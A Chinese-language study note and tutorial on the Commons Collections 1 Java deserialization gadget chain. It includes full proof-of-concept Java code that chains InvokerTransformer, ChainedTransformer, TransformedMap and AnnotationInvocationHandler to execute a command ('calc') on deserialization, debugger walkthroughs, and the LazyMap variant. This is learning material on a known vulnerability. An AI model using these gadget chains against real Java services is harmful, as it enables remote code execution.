注意:需要边看边实操!
必看:
实操完回顾:Java安全漫谈 - 09.初识CommonsCollections , Java安全漫谈 - 10.用TransformedMap编写真正的POC, CommonsCollections1笔记
1.https://blog.csdn.net/weixin_44502336/article/details/127641619
2.JDK下载地址:https://blog.lupf.cn/category/jdkdl
下载通用密码:8899
(别从博客那个链接下,那个下载的8u65实际上是8u111,后面的实验会做不了)
第二部分.java:
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map; import java.lang.reflect.Method; public class CommonCollections1 { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("key", "value"); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer); for (Map.Entry entry : transformedMap.entrySet()) { entry.setValue(runtime); } } }
第三部分.java
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map; import java.lang.reflect.Method; public class CommonCollections1 { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Runtime runtime = Runtime.getRuntime(); Map map = new HashMap(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class} , new Object[]{"C:\\WINDOWS\\system32\\calc.exe"}); Map tranformedMap = TransformedMap.decorate(map, null, invokerTransformer); Class transformedMapClass = Class.forName("org.apache.commons.collections.map.TransformedMap"); Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class); checkSetValueMethod.setAccessible(true); checkSetValueMethod.invoke(tranformedMap, runtime); } }
第一个问题.java
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map; import java.lang.reflect.Method; public class CommonCollections1 { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, IOException { Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class); // 这一句是触发命令执行的关键核心,需要找方法去替代这条语句 // 分割线 HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("key", "value"); Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap, null, chainedTransformer); for (Map.Entry entry : decorateMap.entrySet()) { entry.setValue(Class.forName("java.lang.reflect").getMethod("getRuntime")); } Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructorAnnotationInvocationHandlerClass = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class,Map.class); constructorAnnotationInvocationHandlerClass.setAccessible(true); Object o = constructorAnnotationInvocationHandlerClass.newInstance(Override.class,decorateMap); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
理想情况.java
import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; public class CommonCollections1 { public static void main(String[] args) throws Exception{ Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("key", "value"); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true); Object o = aihConstructor.newInstance(Override.class, transformedMap); // 序列化反序列化 serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
(JDK 8U71之前的版本能触发)
这里将链子分为三部分,各部分的作用:
(这里的1,2,3
只是参数1,参数2,参数3的意思,下同)
先初始化:
TransformedMap.decorate(1,2,3) 静态方法 TransformedMap.TransformedMap(1,2,3)
再调用 TransformedMap.checkSetValue() 去激活 TransformedMap.transform(),从而达到命令执行的目的
为什么需要 hashMap对象:为了构造 TransformedMap.decorate()
方法,它要什么参数就给它什么参数
InvokerTransformer
这个类可以⽤来执⾏任意⽅法,这也是反序列化能执⾏任意代码的关键。
在实例化这个InvokerTransformer
时,需要传⼊三个参数,
第⼀个参数是待执行的方法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表
InvokerTransformer
类的transform
方法中用到了反射,只要传参进去就能反射加载对应的方法
关键地方:
try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); }
transform
方法的不同名函数为了调用checkSetValue函数时,能触发 valueTransformer.transform(value)
从而形成 InvokerTransformer.transform(),也就达成了命令执行的目的(参见[命令执行的关键])
protected Object checkSetValue(Object value) { return valueTransformer.transform(value); }
POC对应语句:
checkSetValueMethod.invoke(tranformedMap, runtime);
详情代码查看 [第三部分.java]
我们在进行 TransformedMap.decorate
方法调用,进行 Map 遍历的时候,就会走到 setValue()
当中,而 setValue()
就会调用 checkSetValue
—— Java反序列化Commons-Collections篇01-CC1链
其实博客原文的这句话应该拆开来看:
解答:
1.首先请仔细看TransformedMap的类继承关系:
2.为什么执行TransformedMap.decorate
方法调用,会进行 Map 遍历?:
2-1. 我分析得出的结论:这句话是错的,其实并不会进行Map遍历
2-2. 为什么不会进行Map遍历:
TransformedMap.decorate
方法:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }
TransformedMap
构造方法:
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }
是因为TransformedMap
构造方法使用了super(map),且AbstractInputCheckedMapDecorator
也使用了super(map)(参见[TransformedMap的类继承关系]),最终导致调用了Map,但并没有进行遍历Map
3.当时我看博客我所不解的地方:
AbstractMapDecorator
类中并无实现setValue()
方法,它只是实现了Map接口,但它是如何实现 {走到 setValue()
当中} 的呢?
public AbstractMapDecorator(Map map) { if (map == null) { throw new IllegalArgumentException("Map must not be null"); } this.map = map; }
所以我进行了如下调试:
前言部分:
entrySet解释:
每一个键值对也就是一个Entry
entrySet是 java中键-值对的集合,Set里面的类型是Map.Entry
,一般可以通过map.entrySet()
得到。
详情代码查看 [第二部分.java]
第二部分核心代码中有一句能够把键值取出来的核心代码:
因此我们重点调试这个 核心代码
for (Map.Entry entry:decorateMap.entrySet()){ entry.setValue(runtime); }
AbstractInputCheckedMapDecorator.entrySet():
public Set entrySet() { if (isSetValueChecking()) { return new EntrySet(map.entrySet(), this); } else { return map.entrySet(); } }
AbstractInputCheckedMapDecorator.EntrySet.EntrySet():
protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) { super(set); this.parent = parent; }
这里就将 TransformedMap类型的 parent 传递给了 this.parent
为什么是 TransformedMap类型,
而不是 AbstractInputCheckedMapDecorator类型 ,是因为 AbstractInputCheckedMapDecorator 是抽象类所以不能实例化只能让它的非抽象类子类实例化(参见[TransformedMap的类继承关系])
然后继续F7跟进,直到来到这:(跳过了一些无关紧要的map操作)。
AbstractInputCheckedMapDecorator.EntrySetIterator.next:
public Object next() { Map.Entry entry = (Map.Entry) iterator.next(); return new MapEntry(entry, parent); }
关键是 return new MapEntry(entry, parent);
这句, MapEntry 是 AbstractInputCheckedMapDecorator 的内部类 。
AbstractInputCheckedMapDecorator.MapEntry.mapEntry:
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; }
这里和上面一样,parent 也是TransformedMap。 成功赋值后,当我们的第二部分核心语句(参见[第二部分核心代码])执行了 entry.setValue(runtime);
这句时,会调用 MapEntry 类的 setValue方法。从而连上链子的第三部分。
AbstractInputCheckedMapDecorator.MapEntry.setValue:
public Object setValue(Object value) { value = parent.checkSetValue(value); return entry.setValue(value); }
因此,这句话(参考[思考这句话有什么错误?])的正确语序应该是这样的(注意标点符号):
我们在进行 TransformedMap.decorate
方法调用(完成后)。(然后)进行 Map 遍历的时候,就会走到 setValue()
当中,而 setValue()
就会调用 checkSetValue
既然 是通过 AbstractInputCheckedMapDecorator.MapEntry.setValue
方法进行传导的,那就看看谁调用了这个方法(右键点击查找用法)。
如果发现一个类符合以下两个条件的:
那这个类就是天生能被利用的类
经查询来到 sun.reflect.annotation.AnnotationInvocationHandler.readObject:
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // If there are annotation members without values, that // situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } } }
关键点在于 需要进入两个If 和 memberValue.setValue:
memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name)));
因此我们需要控制 memberValue ,途径恰好在 AnnotationInvocationHandler类 的构造函数
此外AnnotationInvocationHandler类 的作用域为 default(并不是使用default关键字,而是省略访问控制符)
default权限是只能类内部和同一个包访问,所以我们外部包调用它时需要引入反射
(详情代码 参照[理想情况下.java])
Runtime
对象不可序列化,需要通过反射将其变成可以序列化的形式。
sun.reflect.annotation.AnnotationInvocationHandler.readObject()中的setValue()
的传参,是需要传 Runtime
对象的且要进入两个 if 判断
(本质一样,但第二种写法减少代码复用):
即将 (详情代码 参照[理想情况下.java])
InvokerTransformer invokerTransformer = new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc"});
改写成以下两种格式之一:
1-1.
// 对应 Method runtimeMethod = r.getMethod("getRuntime"); Class c = Runtime.class; Method runtimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}).transform(c); // 对应 Runtime runtime = (Runtime) runtimeMethod.invoke(null,null); Runtime runtime1 = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null,null}).transform(runtimeMethod); // 执行calc runtimeClass1.getMethod("exec", String.class).invoke(runtime1,"calc");
共同点:
new InvokerTransformer().transform()
transform()
方法里的参数都是前一个的结果为什么这么写:
参照[命令执行的关键]
1-2. 或者写成这种:
Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class);
最后和其他未改变的部分进行拼接,详情代码参考第一个问题.java
Runtime
是不能序列化的,但是 Runtime.class
是可以序列化的
需要 注解类型的参数传入,且不为空。否则第一个If进不去:
sun.reflect.annotation.AnnotationInvocationHandler.readObject:
.png)
可以通过构造函数进入传入 type , 所以现在先找到一个类,这个类含有不为空的注释。
找到的这个类是:
sun/reflect/annotation/AnnotationTypeMismatchExceptionProxy.java
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)
博客中 给的是 Target.class,也许还有别的也能用?
Retention.class也能用 —— Java安全漫谈 - 10.用TransformedMap编写真正的POC
sun.reflect.annotation.AnnotationInvocationHandler
构造函数的第一个参数必须是
Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
被 TransformedMap.decorate
修饰的Map中必须有一个键名为X
的元素
所以,这也解释了为什么我前面用到 Retention.class ,因为Retention有一个方法,名为value;所
以,为了再满足第二个条件,我需要给Map中放入一个Key是value的元素:
但是memberValue.setValue
的值不能被控制,
所以寻找一个类,这个类能轻易被我们传入参数且能和 ChainedTransformer 配合将要执行的命令"揉在一起":
org.apache.commons.collections.functors.ConstantTransformer:
public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; } public Object transform(Object input) { return iConstant; }
这个类的构造函数和transform方法配合使用,能把我们传入的任意值取出。这样我们定义一个TransformMap数组,然后扔给 ChainedTransformer去生成一个对象,ChainedTransformer对象再扔进TransformedMap.decorate,从而让链子连起来
这样,我们就将理想情况改成了可实际利用的,同时也是第二个问题的核心:
(参照[第一个问题.java])
chainedTransformer.transform(Runtime.class); // 这一句是触发命令执行的关键核心,需要找方法去替代这条语句
被替换为:
(参照[完整POC.java])
new ConstantTransformer(Runtime.class),// 构造 setValue 的可控参数,也就是替换掉了 第一个问题.java 中的 chainedTransformer.transform(Runtime.class);
详情代码参考完整POC.java
前言:
必读:
ysoserial 工具并没有使用TransformedMap,而是使用了LazyMap
(完整代码查看LazyMap链.java)
LazyMap构造函数和get方法配套使用:
org/apache/commons/collections/map/LazyMap.java
protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } this.factory = factory; } public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
和TransformedMap的POC相比,少了 hashMap.put("value", "test"); ,是因为LazyMap.get()方法 在没有键值的情况下才会触发 factory.transform(key);
知道了如何利用,但要对原本的TransformedMap链进行修改:
原因是在sun.reflect.annotation.AnnotationInvocationHandler 的readObject方法中并没有直接调用到
Map的get方法
但AnnotationInvocationHandler类的invoke方法有调用到get,引入动态代理(参照[https://xz.aliyun.com/t/9197])
引入动态代理的条件:
invoke()
方法恰好的是,AnnotationInvocationHandler 都满足:
class AnnotationInvocationHandler implements InvocationHandler, Serializable
用户(readObject) --> 代理类对象(proxy) --> 目标类对象( LazyMap(AbstractMapDecorator(Map) )
当我在AnnotationInvocationHandler.java 的444行(444行是readObject方法)
444行:
for (Map.Entry<String, Object> memberValue : memberValues.entrySet())
进行调试的时候,F7跟进会发现使用了AbstractMapDecorator.entrySet(),结合LazyMap类的继承关系:
可以得知,动态代理在这进行了操作。
重新调试:
既然LazyMap.get如此关键,那我们就调试它,看看能不能分析流程。
只在 LazyMap.java的155行下断点:
public Object get(Object key)
调试器给出的执行过程:
从上到下只看前4个,执行顺序:
前面说过,需要遍历Map(遍历使用了Map的一些方法)去触发setValue()。而遍历Map的操作恰好放在了 sun.reflect.annotation.AnnotationInvocationHandler.readObject
中:
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { ...... }
所以只要不让它遍历Map即可。
它的修复方案:不直接通过readObject进行操作了,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。
3-1 链子流程图:
我的理解加分析总结的:
3-2 简洁概括(不包含工具链):
3-2-1 TransformedMap:
我们在进行 TransformedMap.decorate 方法调用完成后(第三部分)。接着传递给AnnotationInvocationHandler.readObject用于开启反序列化(第一部分),当执行反序列化时会执行setValue()(因为Map遍历了),而 setValue() 就会调用 checkSetValue(第二部分),就会激活 TransformedMap.transform()(第三部分),从而达到InvokerTransformer命令执行的目的
TransformedMap链:
利用链: AnnotationInvocationHandler#readObject AbstractInputCheckedMapDecorator#setValue TransformedMap#checkSetValue InvokerTransformer#transform 使用到的工具类辅助利用链: ConstantTransformer ChainedTransformer HashMap
3-2-2 LazyMap:
LazyMap链的执行顺序:
1.AnnotationInvocationHandler.readObject
执行到 for (Map.Entry<String, Object> memberValue : memberValues.entrySet())
进入动态代理。
2.动态代理调用AnnotationInvocationHandler.invoke
,然后执行到了memberValues.get(member);
就跳转到 LazyMap.get()
)
3.LazyMap.get()
调用factory.transform()
,连上链子,从而实现命令执行
LazyMap链:
利用链: AnnotationInvocationHandler.readObject AnnotationInvocationHandler.invoke(动态代理操作的) LazyMap.get() factory.transform() (ChainedTransformer.transform()) TransformedMap#checkSetValue InvokerTransformer#transform 使用到的工具类辅助利用链: ConstantTransformer ChainedTransformer HashMap
1.对学习他人文章的思考